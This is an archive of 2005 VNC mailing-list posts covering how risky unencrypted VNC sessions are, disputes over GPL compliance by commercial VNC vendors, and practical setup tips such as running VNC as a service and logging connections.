Thank you for the reply, Alexander. I understand exactly what you're trying to say. I'm not sure if you fully understand what I was saying and its probably my fault for not making it clear enough. You seemed to concentrate on how easy it is to do things with the VNC packets once you've sniffed the packets. You say that you've sniffed the packets before but have you ever sniffed packets from a network outside of your own LAN? How about on your LAN but on another switch port? What I was trying to discuss is how real the threat is that someone outside of your network will actually get to sniff enough of and the correct sequence of your packets to do the things that you where able to do by sniffing the packets on your local segment. You're basically breaking into your own house by using your own keys in the scenario that you provided. How realistic is it for someone in India to sniff my packets going from a server in Detroit, MI to a server in Jackson, MI? How realistic is it for him to actually get usable data? It's Easy to say that if there's a way into your network, you're insecure but there's a way into your house .. is your house insecure? Is VNC really the low hanging fruit in my scenario. I know that you all are very specific and technical, so I'll spell out an exact scenario which happens to be the most common usage of VNC in companies. * John Doe is getting an error message on his computer and calls the help desk a city away for help. * Helpdesk tells John to double-click on the VNC icon on his desktop that starts the server * Helpdesk connects to Johns computer and takes about 10 minutes to resolve the problem * Helpdesk person kills the VNC server on the remote computer and the connection is terminated --- I understand that Security is very important but it's also very important to not go Barney Fife and start drawing the gun on everything that moves if you get what I mean. What are the odds that some guy in Florida is going to sniff that 10 minute session and get into the network? My answer is 1 in at least 10 million. The guy in Florida would have to have already compromised a computer on either of the networks that happened to be plugged into a HUB (Not a switch) that either of the computers are plugged into ~OR~ he would have had to hack one of the routers close to either one of them to send packets to him as a man in the middle attack of sorts. Both of these are a bit extreme for VNC data theft, don't you think? If you do all of that, isn't there a bunch of much bigger prizes at your fingertips than VNC data?! Now are you starting to see what I'm saying? The successful exploits that must be done to get someone's VNC packet stream would land you access to things far greater than just the VNC data and who would waste the time with VNC data at that point? Go for the gold, you're already in someplace pretty good at that point. The only EASY way that I know of to sniff someone's packets are to either be on a hub with the remote computers or to have a Trojan on one of the computers. Does someone know of an easy way other than that? Easier than just hacking into the company other ways that do not involve VNC? - Steve -Original Message- From: Alexander Bolante [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 19, 2005 6:25 PM To: Steve Bostedor Cc: security-basics@securityfocus.com; vnc-list@realvnc.com Subject: Re: VNC Security IMHO NOTE: For obvious reasons that VNC provides remote access to your machine, Security is key (period). I'm assuming this thread does NOT pertain to your COMPANY LAN, because if it does, the answer to your question, "Why should I secure VNC over SSH?" is clearly...SOX compliance... OTHERWISE: Bottom line is -- if you DO NOT have any sensitive data to secure, it's your prerogative to determine what lengths you want to take to protect that data. Why do I tunnel VNC over SSH? To deal with the uncertainty of potential security flaws and risks... (SB wrote) What are the real risks of not securing VNC traffic? It depends... The only caveat I see in not securing VNC traffic is...network eavesdropping We already know that all VNC traffic between client and server is unencrypted after authentication. That's a problem if you're moving sensitive data. I've used a sniffer on a VNC session before. The traffic was compressed, so it was still difficult to understand and breakdown the data from the sniffer, BUT data passed in clear text e.g. usernames, birthdate, home address, etc. could be useful ***depending on the malicious user's intentions***. And because we often do NOT know what a malicious user's intentions are, we mitigate that uncertainty by adding another layer of security/defense in depth...tunneling VNC over SSH in order to secure communication and n
VNC Security
I'd like to know if anyone has any working examples of why an unencrypted VNC session over the Internet is seen as such a horrible security risk. I understand that unencrypted ANYTHING over the Internet lends the chance for someone to decode the packets (assuming that they capture every one of them) but in reality, what are the real risks here and has anyone successfully captured a VNC session from more than 2 router hops away and actually gotten any meaningful information from it? I've captured a big chunk of a LOCAL session using Ethereal and the only thing that I can see that is usable is the password exchange. Agreed that this could be a problem if someone just happened to be sniffing your local LAN segment at that exact moment and happened to capture your encrypted VNC password, he could crack the password and log in himself. But how paranoid is it to go through all of the trouble of setting up SSH to avoid that when you could just change your VNC password often and make sure that your local LAN is reasonably secure from prying eyes? How about once it gets out on the Internet? Packets bounce all over the place on the Internet. What are the odds that someone out there will pick your VNC packets out of all of the millions of packets running through the back bone routers without being noticed, capture enough of them to possibly replay a session, and actually have the patience or the tools to do so. I've scoured the web out of this curiosity, looking for a tool to put VNC packets together into something useful for a hacker. There's nothing. Nada. So, I guess that what I'm asking is; what all of the fuss is about? Your POP3 password likely gets passed unencrypted but we're being asked to be paranoid about an encrypted VNC password? This is all coming from a discussion that I had with someone over the merits of using SSH with VNC over the internet for a 10 minute VNC session. Does anyone have anything that's not hypothetical? Is there a tool that I'm missing out there that does more than just crack a VNC password? Does anyone know of any reported security breaches where VNC was a weakness? ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: monitor lock on vnc
This is assuming that you're deploying VNC to Windows computers on your network but you can download http://www.vncscan.com and use it's deployment wizard. In the wizard, check the box to lock the remote keyboard and mouse while the viewer is connected. VNC doesn't block out the monitor like XP Remote Assistance does, but it does prevent someone from toying with the mouse while you're trying to work. There is also a section of the VNCScan deployment wizard where it asks you what you want to happen when the viewer disconnects. This is a convenience option that can automatically lock the remote computer once the viewer disconnects. These are both standard features of VNC that VNCScan just makes easier to set up. You don't need VNCScan do to this if you don't mind manually doing it on each computer. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Beauford, Jason > Sent: Friday, April 15, 2005 11:04 AM > To: QUINN MCKINSEY; vnc-list@realvnc.com > Subject: RE: monitor lock on vnc > > > There is a lock remote keyboard and mouse feature on the serverside. > > jmb > > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf > Of QUINN > MCKINSEY > Sent: Friday, April 15, 2005 10:54 AM > To: vnc-list@realvnc.com > Subject: monitor lock on vnc > > > Does realvnc have to ability to lock the server's monitor > when I am using a remote client? Basically I want the server > to lock anyone out of the system, unless it's me, in which > case I would like for it to ask me for a password to get back > in. Basically, I want the same feature that Windows Remote > Desktop has, but in VNC. Does anyone have information about > this? Help would be greatly appreciated. Otherwise the > program is bueatiful. > > Thanks > quinn > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-> list > > ___ > > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-> list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: W2K and Hotfix
VNC related problems? - Steve > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Eitan Naveh > Sent: Friday, April 08, 2005 8:26 PM > To: vnc-list@realvnc.com > Subject: W2K and Hotfix > > > is anyone having compatibility problems with W2K because of > Microsoft Hotfix? > > Any comment would be helpful! > > > > > -- > No virus found in this outgoing message. > Checked by AVG Anti-Virus. > Version: 7.0.308 / Virus Database: 266.9.5 - Release Date: > 07/04/2005 ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-> list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
No, I downloaded the shareware version and requested to purchase the source. I was ignored. There was no copy of the GPL and no release notes of changes to the VNC source. All a violation of the GPL. - Steve > -Original Message- > From: Mike Miller [mailto:[EMAIL PROTECTED] > Sent: Friday, April 08, 2005 10:10 AM > To: Steve Bostedor > Cc: Sean Kamath; Yann Renard; Grant McDorman; VNC List > Subject: RE: What good is VNC's GPL? > > > On Fri, 8 Apr 2005, Steve Bostedor wrote: > > > They are violating the GPL by not including the source and > a copy of > > the > > GPL. > > So you actually purchased the product and found that the > source is not > included? > > Mike ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
> As for a hall of infamy, I reckon it would be fun, but also libellous > unless undertaken wrt to the written letter of GPL law. > > -- > Mark Jacobs > http://www.dkcomputing.co.uk > ___ Yea, I guess the liabillity could be an issue if you just throw names up without due process. What could be done without liabillity, though, is to put up a page that displays the status of any and all requests for source code. Let the reader judge for themselves, but it gives very bad press to those that never comply. I don't know, it sounds like an activist sort of thing to do but what else can you do? - Steve Bostedor http://www.vncscan.com I'm against protesting but I don't know how to show it ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
I misread section 3a and thought it was saying that you could only charge as much as the working version for the source but it really says that you can only charge as much as it physically costs you to distribute the source. As far as delivering the source, they are obligated to deliver it upon request. The only option they are given is to charge for the delivery or not. In the end, though, they are obligated to deliver. Neither company has delivered to date and Smart code has promised NEVER to deliver at any cost. That is a direct violation of the licensing terms. - Steve > -Original Message- > From: Kyle McDonald [mailto:[EMAIL PROTECTED] > Sent: Friday, April 08, 2005 9:40 AM > To: Steve Bostedor > Subject: Re: What good is VNC's GPL? > > > Steve Bostedor wrote: > >>Actually, I think you're wrong about them 'oweing' us anything. > >> > >>The GPL states that they only have to offer, and provide the > >>sources to the people they distribute the binaries to. This means > >>theonly people that are 'owed' the sources are the paying customers. > >> > >>Of course once a paying customer has the source the GPL let's them > >>do whatever they want with it. So they can give it away for > >>no-cost if they like and the person they bought it from can't say > >>a thing. (and they shouldn't come under any reprisals from the > >>seller for doing so, but that seems to be ignored by the FSF in at > >>least one case - www.sveasoft.com ) > >> > >>But they *don't have to* give the source to us just because we ask. > >> > >>-Kyle > >> > >> > > > > > > This has turned into a fun and interesting debate. Now for > my 2 cents > > ... Again. ;) They do, according to the section of the GPL that I > > pasted in a previous email, have to provide the source when > asked for. > > In fact, their product must be distributed either WITH the > source or > > there must be a visible link on their website to get the > source. The > > can charge no more than the cost of their compiled product for the > > source code but they can not reject requests to purchase the source > > code. > > > Ok. Well, charging no more for the source only than they charge > for the binary that includes source, is not that different than > only letting people who buy the binary have the source. I mean > paying the price of the binary to get the source is just like > buying the binary with source and then ignoring the binary. > > But reading the GPL snippet in your other message, I don't see any > text that says 'you can charge no more for the source than you do > for the binaries' > > Actually a vendor who chooses option A *can* only give the source > to those who get the binaries by including the sources in with the > binaries and charging the one price for that. > > > This particular company distributes a free shareware > version of their > > software. That free download must, according to the GPL, have the > > source code with it. It's really all in black and white > and in only > > the first few sections of the GPL. > > Option A says the source must be with it, but they're also free to > choose Option B, which allows them to charge a seperate fee for > the source at a later time. > > -Kyle > > -- > _ > -ooO( )Ooo > Kyle J. McDonald (o o) Systems Support Engineer > Sun Microsystems Inc. | [EMAIL PROTECTED] > 1 Network Drive \\\// voice: (781) 442-2184 > Burlington, MA 01803 (o o)fax: (781) 442-1542 > ooO(_)Ooo- ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
It is my understanding of the GPL that if you modify the source, your distribution of your customized software (free OR paid for) must be accompanied by the source code complete with modifications and a copy of the GPL. You can't just distribute your own binaries and wait for someone to request the source and then ignore them. That's my understanding, anyways. Correct me if I'm wrong. Release of the source is not optional. You can charge a delivery fee but you absolutely can not refuse to release the source code. >From the GPL: 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Rex Dieter Sent: Friday, April 08, 2005 7:56 AM To: vnc-list@realvnc.com Subject: Re: What good is VNC's GPL? Mike Miller wrote: > On Thu, 7 Apr 2005, Steve Bostedor wrote: > >> This is all just fantasy talk, anyways. We KNOW that theirs is a >> modified VNC because they spell it out on their website. Who cares, I >> guess. It looks like everyone's doing it. Integrity and doing the >> right thing just doesn't matter for anything these days, I guess. >> Kiss the GPL good-bye on this one. > > > What did they do that was wrong. What is in dispute/question is whether they are distibuting source to their (paying) customers or not. If they are, nothing is wrong. If they aren't, they are violating the GPL. It seems, however, no-one in this discussion has actually purchased the product, so it's all been (mostly wild) speculation. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
They are violating the GPL by not including the source and a copy of the GPL. -Original Message- From: Mike Miller [mailto:[EMAIL PROTECTED] Sent: Friday, April 08, 2005 1:28 AM To: Steve Bostedor Cc: Sean Kamath; Yann Renard; Grant McDorman; VNC List Subject: RE: What good is VNC's GPL? On Thu, 7 Apr 2005, Steve Bostedor wrote: > This is all just fantasy talk, anyways. We KNOW that theirs is a > modified VNC because they spell it out on their website. Who cares, I > guess. It looks like everyone's doing it. Integrity and doing the > right thing just doesn't matter for anything these days, I guess. Kiss > the GPL good-bye on this one. What did they do that was wrong. They say that their software uses VNC. That's not wrong. They sell it for money -- also not wrong. I'll sell you a copy of Xvnc for $500 and I'll call it "Mike's VNC." That's not wrong (because I'll include the source code, copyright, GPL, etc.). Are they violating the GPL, or are we just imagining that they must be violating the GPL? Mike ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Remote control when Locked
Install the server as a service and it should work fine. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Brett S Sent: Thursday, April 07, 2005 6:49 PM To: vnc-list@realvnc.com Subject: Remote control when Locked Hello, is it possible to remote control a computer with the VNC server when the computer user is locked? When I leave my desktop, I press the window key and L to lock it, then using my laptop, the vnc viewer gives me an error when i do this. Thanks, Brett ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
Maybe James should put up a "Wall Of Shame" on the RealVNC website dislpaying all of those that willfully steal VNC source code and thumb their nose at the GPL? Or would that be giving publicity to the bad guys? -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Sean Kamath Sent: Thursday, April 07, 2005 7:41 PM To: Yann Renard Cc: Grant McDorman; vnc-list@realvnc.com Subject: Re: What good is VNC's GPL? [In a message on Thu, 07 Apr 2005 22:05:40 +0200, Yann Renard wrote:] >Grant McDorman wrote: >> Actually, they could claim that that's for "compatibility. Look at >> what >> was done for PearPC/CherryOS to see a more reliable method: search the >> binary for strings (messages, diagnostics, function names [where >> supported by the platform], etc.) If those are all identical, then >> you've pretty much got a case. > >How could someone claim bug-compatibility ?! This sounds crazy, isn't >it >? ;) Most (almost all) VT100 and VT220 emulators had a "enable bugs" version. Sometimes it's necessary. Look at how web designers have come to rely on a set of IE bugs to get IE do the right thing (and, humorously enough, in IE6, they fixed the bug used for detection, but not the bugs that the detection avoided -- see http://www.meyerweb.com/eric/css/edge/complexspiral/demo2.html. They have an option to emulate easlier versions, but it doesn't emulate the bugs.). Sean ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
Aren't we getting a bit technical here, guys? I guess the nature and reason for the bug must be taken into account. The question must be asked, though, why build an exact copy of VNC (bugs and all) when you can make up your own remote control program? If theirs is similar enough to have the same features and bugs, it's no doubt the same thing. This is all just fantasy talk, anyways. We KNOW that theirs is a modified VNC because they spell it out on their website. Who cares, I guess. It looks like everyone's doing it. Integrity and doing the right thing just doesn't matter for anything these days, I guess. Kiss the GPL good-bye on this one. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Sean Kamath Sent: Thursday, April 07, 2005 7:41 PM To: Yann Renard Cc: Grant McDorman; vnc-list@realvnc.com Subject: Re: What good is VNC's GPL? [In a message on Thu, 07 Apr 2005 22:05:40 +0200, Yann Renard wrote:] >Grant McDorman wrote: >> Actually, they could claim that that's for "compatibility. Look at >> what >> was done for PearPC/CherryOS to see a more reliable method: search the >> binary for strings (messages, diagnostics, function names [where >> supported by the platform], etc.) If those are all identical, then >> you've pretty much got a case. > >How could someone claim bug-compatibility ?! This sounds crazy, isn't >it >? ;) Most (almost all) VT100 and VT220 emulators had a "enable bugs" version. Sometimes it's necessary. Look at how web designers have come to rely on a set of IE bugs to get IE do the right thing (and, humorously enough, in IE6, they fixed the bug used for detection, but not the bugs that the detection avoided -- see http://www.meyerweb.com/eric/css/edge/complexspiral/demo2.html. They have an option to emulate easlier versions, but it doesn't emulate the bugs.). Sean ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Connection Refused when the server is not logged in?
Install VNC as a service and it should work fine. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Bart Wegrzyn Sent: Thursday, April 07, 2005 5:50 PM To: vnc-list@realvnc.com Subject: Connection Refused when the server is not logged in? I have vnc setup and working correctly, but only when the 'server' is logged in. If I reboot the server and the login screen comes up, I cannot connect to vnc. If the server is logged in and I can see the desktop locally, I can connect without any problems. The problem only seems to show up when the server I am trying to connect to is not logged in. Is this a bug/feature, or am I doing something wrong? I check to make sure the vncserver is running while the server is logged out. I even logged in via ssh and restarted it. I also made sure that the port was unblocked. Everything seems to work fine as soon as I log in locally, but not if its logged out. Server: CentOS 4.0 Viewer: Windows XP SP2 Any ideas as to what may be wrong here? - Bart ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Mailing List Search Feature
Try: http://www.realvnc.com/swish-e/search/vnc-list The problem is that many new users don't know how to word their problem correctly for a search and they just blurt out the question the best that they can to this list and other forums. It will always be that way so we may as well just get used to it. How many of us read the instructions before putting together our kids toys? =D Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Bill Root Sent: Thursday, April 07, 2005 1:48 PM To: vnc-list@realvnc.com Subject: RE: Mailing List Search Feature This is a joke, right? I can't find a search feature... Finest regards, Bill Root Ascendis Software http://www.ascendis.com/ At 04/07/2005 01:08 PM, James Weatherall wrote: >Erik, > >Are you having some problem with the mailing list search feature? > >Wez @ RealVNC Ltd. > > > > -Original Message- > > From: Erik Soderquist [mailto:[EMAIL PROTECTED] > > Sent: 07 April 2005 17:58 > > To: James Weatherall; vnc-list@realvnc.com > > Subject: RE: view scaling > > > > is there any kind of search function, or do I have to guess at when > > it was answered to try to find it? > > > > -Original Message- > > From: James Weatherall [mailto:[EMAIL PROTECTED] > > Sent: Thursday, April 07, 2005 11:51 > > To: Erik Soderquist; vnc-list@realvnc.com > > Subject: RE: view scaling > > > > Erik, > > > > It wasn't. Please refer to the list archives - this question has > > been asked and answered before. > > > > Regards, > > > > Wez @ RealVNC Ltd. > > > > > > > -Original Message- > > > From: Erik Soderquist [mailto:[EMAIL PROTECTED] > > > Sent: 07 April 2005 14:20 > > > To: James Weatherall; vnc-list@realvnc.com > > > Subject: view scaling > > > > > > might I ask why the view scaling was removed from the gpl'ed > > > version 4? >___ >VNC-List mailing list >VNC-List@realvnc.com >To remove yourself from the list visit: >http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
They appear to have modified the java client to display their logo among other modifications to the VNC code. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Kelly F. Hickel Sent: Thursday, April 07, 2005 1:43 PM To: Mike Miller; Mark Jacobs Cc: vnc-list@realvnc.com Subject: RE: What good is VNC's GPL? > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On > Behalf Of Mike Miller > Sent: Thursday, April 07, 2005 12:33 PM > To: Mark Jacobs > Cc: vnc-list@realvnc.com > Subject: Re: What good is VNC's GPL? > > On Thu, 7 Apr 2005, Mark Jacobs wrote: > > > http://www.planetdns.net > > > > This one looks especially bad - they are receiving rewards and making > > money out of, what looks like, Wez's work! > > Where is the evidence that PlanetDNS has VNC inside? [Kelly F. Hickel] I searched their website with their search tool and there are support entries about clicking on the VNC tab. Don't know if they just "aggregate" (from a GPL point of view) or not, but there aren't any hits for GPL on their site... -Kelly > > I'm interested in this issue because I'm not sure how we can demonstrate > that GPL'd code is inside the product if all we have are binaries. Does > anyone know the answer? > > By the way, it is perfectly acceptable under the GPL for someone to take > your GPL'd work and make money from it. The rule is that they have to > distribute the source with the product binaries. > > Mike > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
What about http://www.planetdns.net ? They appear to be just as bad, I think. Where is the integrity out there? - Steve Bostedor http://www.vncscan.com Guilt Free VNC Management -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Erik Soderquist Sent: Tuesday, April 05, 2005 10:00 AM To: Angelo Sarto; James Weatherall Cc: Bob Smith; Kyle McDonald; [EMAIL PROTECTED]; [EMAIL PROTECTED]; vnc-list@realvnc.com Subject: RE: What good is VNC's GPL? or both together... -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Angelo Sarto Sent: Tuesday, April 05, 2005 08:59 To: James Weatherall Cc: Bob Smith; Kyle McDonald; [EMAIL PROTECTED]; [EMAIL PROTECTED]; vnc-list@realvnc.com Subject: Re: What good is VNC's GPL? My apologies for the misinformation then, it can be pursued by *any* copyright holder. I guess in this case tightvnc is a derived work of realvnc, so either one would have the option of pursuing this. --Angelo On Apr 5, 2005 7:48 AM, James Weatherall <[EMAIL PROTECTED]> wrote: > Angelo, > > I'm afraid you are incorrect. The copyright holders in this instance are > numerous and include RealVNC Ltd. Relatively speaking, only a small > proportion of the TightVNC codebase is actually specific to TightVNC. > > Regards, > > Wez @ RealVNC Ltd. > > > > However, if this matter is a violation then the orginazation that > > initates the action has to be the copyright holder whos licensing is > > being violated In this case this would be the tightvnc group, who > > can choose to ask the FSF for help if necessary. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: How do I provide a log of who's accessed who with VNC
VNCScan does in a way. (http://www.vncscan.com) If you make all of your connections from within VNCScan, they are logged into the computer properties. To access them, you just right-click a computer and choose properties (from within a VNCScan group of computers). There are some caveots, still, though. Number one, there is no way for VNC on the remote end to only accept connections initiated from withing VNCScan. This means that someone could connect to the remote server manually and it would not be logged inside VNCScan. The logging feature inside VNCScan is just for administrative information and not really for security acounting. There are some other and more breadboard ways of doing it, too. For instance, you can have a personal firewall log the connections on a certain port on the server. UltraVNC by default writes to the Application event log every time that someone connects to a VNC server. - Steve Bostedor - I used to have an open mind but my brains kept falling out. - -Original Message- From: Walt Whitman [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 05, 2005 3:01 PM To: Steve Bostedor Subject: RE: How do I provide a log of who's accessed who with VNC I've tried that but It doesn't seem to work. What were trying to do is provide an account of who access PC's preferrebly in a report format. Is there any VNC product that will do this? >>> "Steve Bostedor" <[EMAIL PROTECTED]> 04/05 11:47 AM >>> You may need to restart the VNC service on the server for the setting to take effect. 1. Edit the DebugMode to 2 (DWORD) in the registry of the server. The registry location depends on the version of VNC you are running 2. Restart the VNC services 3. Connect and check for winvnc.log Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console Guilt free VNC Administration -Original Message- From: Walt Whitman [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 05, 2005 2:37 PM To: Steve Bostedor Subject: RE: How do I provide a log of who's accessed who with VNC I don't see any logs, how do you set that up? I want to make sure its correct. >>> "Steve Bostedor" <[EMAIL PROTECTED]> 04/05 11:31 AM >>> Winvnc.log in the folder that VNC is located in when the debug level is set to 2. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console No added fat! No preservatives! -Original Message----- From: Walt Whitman [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 05, 2005 2:27 PM To: Steve Bostedor Subject: RE: How do I provide a log of who's accessed who with VNC I did try that but did not see a log anywhere. Do you have instructions. >>> "Steve Bostedor" <[EMAIL PROTECTED]> 04/05 11:24 AM >>> You can set the debugging on the VNC server to log connection attempts. You do this with the DebugLevel and DebugMode settings in the registry. You can get a list of registry settings at http://www.vncscan.com/vs/UltraVNCReg.htm or http://www.realvnc.com/products/free/4.1/winvnc.html Hope this helps! Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console No added fat! No preservatives! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Walt Whitman Sent: Tuesday, April 05, 2005 2:12 PM To: vnc-list@realvnc.com Subject: How do I provide a log of who's accessed who with VNC ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: How do I provide a log of who's accessed who with VNC
You may need to restart the VNC service on the server for the setting to take effect. 1. Edit the DebugMode to 2 (DWORD) in the registry of the server. The registry location depends on the version of VNC you are running 2. Restart the VNC services 3. Connect and check for winvnc.log Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console Guilt free VNC Administration -Original Message- From: Walt Whitman [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 05, 2005 2:37 PM To: Steve Bostedor Subject: RE: How do I provide a log of who's accessed who with VNC I don't see any logs, how do you set that up? I want to make sure its correct. >>> "Steve Bostedor" <[EMAIL PROTECTED]> 04/05 11:31 AM >>> Winvnc.log in the folder that VNC is located in when the debug level is set to 2. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console No added fat! No preservatives! -Original Message- From: Walt Whitman [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 05, 2005 2:27 PM To: Steve Bostedor Subject: RE: How do I provide a log of who's accessed who with VNC I did try that but did not see a log anywhere. Do you have instructions. >>> "Steve Bostedor" <[EMAIL PROTECTED]> 04/05 11:24 AM >>> You can set the debugging on the VNC server to log connection attempts. You do this with the DebugLevel and DebugMode settings in the registry. You can get a list of registry settings at http://www.vncscan.com/vs/UltraVNCReg.htm or http://www.realvnc.com/products/free/4.1/winvnc.html Hope this helps! Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console No added fat! No preservatives! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Walt Whitman Sent: Tuesday, April 05, 2005 2:12 PM To: vnc-list@realvnc.com Subject: How do I provide a log of who's accessed who with VNC ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: How do I provide a log of who's accessed who with VNC
